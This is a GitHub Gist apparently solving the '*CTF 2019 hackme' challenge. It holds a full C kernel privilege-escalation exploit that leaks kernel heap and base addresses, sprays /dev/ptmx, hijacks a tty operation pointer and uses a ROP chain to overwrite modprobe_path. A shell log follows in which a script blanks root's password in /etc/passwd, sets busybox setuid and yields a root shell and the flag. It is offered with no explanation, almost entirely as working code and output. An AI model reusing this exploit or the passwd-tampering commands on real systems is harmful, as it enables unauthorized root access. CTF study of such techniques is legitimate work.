Created
April 30, 2019 21:57
-
-
Save hama7230/6c213bb648a5e5f028daec788111382c to your computer and use it in GitHub Desktop.
*CTF 2019 hackme
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define PROT_READ 0x1 /* Page can be read. */ | |
#define PROT_WRITE 0x2 /* Page can be written. */ | |
#define MAP_PRIVATE 0x02 /* Changes are private. */ | |
#define MAP_ANONYMOUS 0x20 /* Don't use a file. */ | |
#define MAP_POPULATE 0x8000 | |
#define MAP_FIXED 0x10 | |
#define MAP_GROWSDOWN 0x0100 | |
#define O_RDWR 2 | |
#define O_NOCTTY 00000400 | |
#define O_RDONLY 00000000 | |
int fd; | |
int ptmx_fds[0x200]; | |
long user_stack; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
unsigned long user_cs; | |
static void save_state() { | |
__asm__("mov %0, cs\n" | |
"mov %1, ss\n" | |
"pushfq\n" | |
"popq %2\n" | |
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags) | |
: | |
:"memory" | |
); | |
} | |
int read(int fd, char* buf, int len) { | |
__asm__("mov rax, 0"); | |
__asm__("syscall"); | |
} | |
int write(int fd, char* buf, int len) { | |
__asm__("mov rax, 1"); | |
__asm__("syscall"); | |
} | |
int open(char* filename, int flags) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
int close(int fd) { | |
__asm__("mov rax, 3"); | |
__asm__("syscall"); | |
} | |
void exit(int status) { | |
__asm__("mov rax, 60"); | |
__asm__("syscall"); | |
} | |
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) { | |
__asm__("mov rax, 16"); | |
__asm__("syscall"); | |
} | |
void *mmap(void *addr, unsigned long length, int prot, int flags, int fd, unsigned long offset) { | |
__asm__("mov r10, rcx"); | |
__asm__("mov rax, 9"); | |
__asm__("syscall"); | |
} | |
int strlen(char* string) { | |
int len = 0; | |
for (; *(string++) != '\x00'; len++) {} | |
return len; | |
} | |
void puts(char* string) { | |
int len = strlen(string); | |
write(1, string, len); | |
} | |
void memset(char* a, char b, int len) { | |
int i; | |
for (i=0; i<len; i++) { | |
a[i] = b; | |
} | |
} | |
void end() { | |
exit(1); | |
} | |
void u64tohex(unsigned long tb, char buf[17]) { | |
const char sym[] = "0123456789abcdef"; | |
const int n = 16; | |
int i; | |
for (i=1; i <= n; i++) { | |
char c = sym[tb % 0x10]; | |
buf[n-i] = c; | |
tb >>= 4; | |
} | |
buf[n] = '\0'; | |
} | |
void num_dump(unsigned long tb) { // for dump register/int/long | |
char buf[17]; | |
u64tohex(tb, buf); | |
buf[sizeof(buf)-1] = '\n'; | |
write(1, buf, sizeof(buf)); | |
} | |
void open_ptmx(void) { | |
for (int i=0; i<0x200; i++) | |
ptmx_fds[i] = open("/dev/ptmx", 0x2); | |
} | |
void close_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
close(ptmx_fds[i]); | |
} | |
int alloc(unsigned long idx, unsigned long size, char* ptr) { | |
unsigned long buf[4]; | |
buf[0] = idx; | |
buf[1] = (unsigned long)ptr ; | |
buf[2] = size ; | |
buf[3] = 0xbadface; | |
return ioctl(fd, 0x30000, buf); | |
} | |
int delete(unsigned long idx) { | |
unsigned long buf[4]; | |
buf[0] = idx; | |
buf[1] = 0xdeadbeef ; | |
buf[2] = 0xcafebabe ; | |
buf[3] = 0xbadface; | |
return ioctl(fd, 0x30001, buf); | |
} | |
int write_note(unsigned long idx, char* ptr, unsigned long size, long offset) { | |
unsigned long buf[4]; | |
buf[0] = idx; | |
buf[1] = (unsigned long) ptr; | |
buf[2] = size; | |
buf[3] = offset; | |
return ioctl(fd, 0x30002, buf); | |
} | |
int read_note(unsigned long idx, char* ptr, unsigned long size, long offset) { | |
unsigned long buf[4]; | |
buf[0] = idx; | |
buf[1] = (unsigned long) ptr; | |
buf[2] = size; | |
buf[3] = offset; | |
return ioctl(fd, 0x30003, buf); | |
} | |
void _start(void) { | |
int hoge; | |
user_stack = &hoge; | |
save_state(); | |
fd = open("/dev/hackme", O_RDONLY); | |
if (fd < 0) { | |
puts("open error"); | |
exit(1); | |
} | |
unsigned long kernel_base; | |
unsigned long kernel_heap; | |
unsigned long tmp[0x400/8]; | |
alloc(0, 0x400, tmp); | |
alloc(1, 0x400, tmp); | |
delete(0); | |
read_note(1, tmp, 0x400, -0x400); | |
kernel_heap = tmp[0] - 0x400; | |
puts("kernel_heap = "); | |
num_dump(kernel_heap); | |
puts("trying address leak"); | |
int leaked = 0; | |
while (leaked == 0) { | |
open_ptmx(); | |
read_note(1, tmp, 0x400, -0x400); | |
for(int i=0; i<0x400/8; i++) { | |
if ((tmp[i] & 0xfff) == 0xc60 ) { | |
puts("1\n"); | |
kernel_base = tmp[i] - 0x625c60; | |
leaked = 1; | |
} | |
if ((tmp[i] & 0xfff) == 0xd80 ) { // 0xffffffff81625d80 | |
puts("2\n"); | |
kernel_base = tmp[i] - 0x625d80; | |
leaked = 1; | |
} | |
} | |
if (leaked == 0) | |
close_ptmx(); | |
} | |
puts("kernel_base = "); | |
num_dump(kernel_base); | |
unsigned long g[0x400/8]; | |
memset(g, 'a', 0x400); | |
g[0x4]= kernel_base + 0xcf52a; | |
write_note(1, g, 0x400, 0); | |
// 0xffffffff8101b5a1: pop rax ; ret ; (5 found) | |
// 0xffffffff8110d120: pop rbx ; ret ; (2 found) | |
// 0xffffffff810a8745: mov qword [rbx], rax ; pop rbx ; pop rbp ; ret ; (4 found) | |
// ffffffff8183f960 D modprobe_path | |
unsigned long pop_rax = kernel_base + 0x1b5a1; | |
unsigned long pop_rbx = kernel_base + 0x10d120; | |
unsigned long mov_rbx_rax_pop2 = kernel_base + 0xa8745; | |
tmp[1]= kernel_base + 0x17d20f; | |
tmp[3] = kernel_heap; | |
tmp[0x300/8+4]= pop_rbx; | |
tmp[0x300/8+5]= kernel_base + 0x83f960; | |
tmp[0x300/8+6]= pop_rax; | |
tmp[0x300/8+7]= 0x77702f656d6f682f; | |
tmp[0x300/8+8]= mov_rbx_rax_pop2; | |
tmp[0x300/8+9]= 0xdeadbeef; | |
tmp[0x300/8+10]= 0xdeadbeef; | |
tmp[0x300/8+11]= pop_rbx; | |
tmp[0x300/8+12]= kernel_base + 0x83f960 + 8; | |
tmp[0x300/8+13]= pop_rax; | |
tmp[0x300/8+14]= 0x612f6e; | |
tmp[0x300/8+15]= mov_rbx_rax_pop2; | |
tmp[0x300/8+16]= 0xdeadbeef; | |
tmp[0x300/8+17]= 0xdeadbeef; | |
tmp[0x300/8+18]= kernel_base + 0x200c2e; | |
tmp[0x300/8+19]= 0; | |
tmp[0x300/8+20]= 0; | |
tmp[0x300/8+21]= kernel_base + 0x19514; // iretq | |
tmp[0x300/8+22]= &end; | |
tmp[0x300/8+23]= user_cs; | |
tmp[0x300/8+24]= user_rflags; | |
tmp[0x300/8+25]= user_stack; | |
tmp[0x300/8+26]= user_ss; | |
write_note(1, tmp, 0x400, -0x400); | |
close_ptmx(); | |
exit(0); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~ $ ./exp | |
kernel_heap = ffffa1f38e32b800 | |
trying address leak2 | |
kernel_base = ffffffff95400000 | |
~ $ cat /proc/sys/kernel/modprobe | |
/home/pwn/a | |
~ $ echo -ne '\xff\xff\xff\xff' > /home/pwn/hoge && chmod +x /home/pwn/hoge | |
~ $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root | |
::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/pwn/a && chmod +x /home/pwn/a | |
~ $ ls -la | |
total 24 | |
drwxrwxr-x 2 pwn 1000 0 Apr 30 21:56 . | |
drwxrwxr-x 3 root 0 0 Feb 28 03:34 .. | |
-rwxr-xr-x 1 pwn 1000 104 Apr 30 21:56 a | |
-rwxr-xr-x 1 pwn 1000 5024 Apr 30 21:55 exp | |
-rw-rw-r-- 1 pwn 1000 4904 Feb 28 10:23 hackme.ko | |
-rwxr-xr-x 1 pwn 1000 4 Apr 30 21:56 hoge | |
~ $ cat a | |
#!/bin/sh | |
/bin/chmod -R 4777 /etc/passwd /bin/busybox | |
echo 'root::0:0:root:/root:/bin/sh' > /etc/passwd | |
~ $ ./hoge | |
./hoge: line 1: ����: not found | |
/home/pwn $ su root | |
/home/pwn # id | |
uid=0(root) gid=0 groups=0 | |
/home/pwn # cat /flag | |
*CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment